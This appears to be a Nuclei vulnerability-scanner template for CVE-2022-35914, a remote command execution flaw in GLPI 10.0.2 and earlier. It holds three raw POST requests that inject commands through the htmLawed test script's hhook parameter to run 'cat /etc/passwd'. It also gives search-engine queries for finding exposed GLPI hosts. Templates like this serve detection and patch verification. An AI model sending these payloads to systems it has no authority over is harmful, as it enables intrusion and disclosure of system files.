id: CVE-2022-35914

info:
  name: GLPI <=10.0.2 - Remote Command Execution
  author: For3stCo1d,allendemoura
  severity: critical
  description: |
    GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability.
  reference:
    - https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914
    - https://github.com/cosad3s/CVE-2022-35914-poc
    - http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed
    - https://nvd.nist.gov/vuln/detail/CVE-2022-35914
    - https://github.com/glpi-project/glpi/releases
    - https://senderend.medium.com/pg-practice-box-deep-dive-glpi-c3a1cf1520f8
    - https://github.com/allendemoura/CVE-2022-35914
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-35914
    cwe-id: CWE-74
    epss-score: 0.94395
    epss-percentile: 0.99975
    cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: glpi-project
    product: glpi
    shodan-query:
      - http.favicon.hash:"-1474875778"
      - http.title:"glpi"
    fofa-query:
      - icon_hash="-1474875778"
      - title="glpi"
    google-query: intitle:"glpi"
  tags: cve,cve2022,glpi,rce,kev,glpi-project,vkev,vuln
variables:
  cmd: "cat+/etc/passwd"
  execFunc1: "system"
  execFunc2: "passthru"

http:
  - raw:
      - |
        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: sid=foo

        sid=foo&hhook=exec&text={{cmd}}
  - raw:
      - |
        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: sid=foo

        sid=foo&text={{execFunc1}}&hfoo={{cmd}}&hhook=array_map
  - raw:
      - |
        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: sid=foo

        sid=foo&text={{execFunc2}}&hfoo={{cmd}}&hhook=array_map

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022059d5d1f030ab09e3d471806b2fed499ed33c86310f9db2a2e102a17e48f591bd022100dab28a00ac234c531765ca74d34900212d9f8a80db00ace2061f3c785a70dc84:922c64590222798bb761d5b6d8e72950